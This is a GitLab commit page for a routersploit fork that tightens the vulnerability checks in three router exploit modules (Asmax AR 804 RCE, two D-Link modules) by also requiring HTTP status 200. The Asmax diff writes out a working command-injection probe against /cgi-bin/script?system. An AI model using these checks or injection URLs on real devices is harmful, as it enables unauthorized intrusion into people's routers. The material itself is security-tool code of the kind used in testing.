Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
63598d85
Commit
63598d85
authored
Apr 25, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing false positives - status code.
parent
52e0afee
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
9 additions
and
6 deletions
+9
-6
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+7
-4
dns_320l_327l_rce.py
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
+1
-1
dwr_932_info_disclosure.py
...rsploit/modules/exploits/dlink/dwr_932_info_disclosure.py
+1
-1
No files found.
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
63598d85
...
...
@@ -64,10 +64,13 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
mark
=
random_text
(
32
)
cmd
=
"echo {}"
.
format
(
mark
)
url
=
sanitize_url
(
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
response
=
self
.
execute
(
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
False
# target is not vulnerable
if
mark
in
response
:
return
True
if
response
.
status_code
==
200
and
mark
in
response
.
text
:
return
True
# target is vulnerable
return
False
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
View file @
63598d85
...
...
@@ -80,7 +80,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
return
False
# target is not vulnerable
if
mark
in
response
.
text
:
if
response
.
status_code
==
200
and
mark
in
response
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py
View file @
63598d85
...
...
@@ -68,7 +68,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
return
False
# target is not vulnerable
if
'wifi_AP1_ssid'
in
response
.
text
:
if
response
.
status_code
==
200
and
'wifi_AP1_ssid'
in
response
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment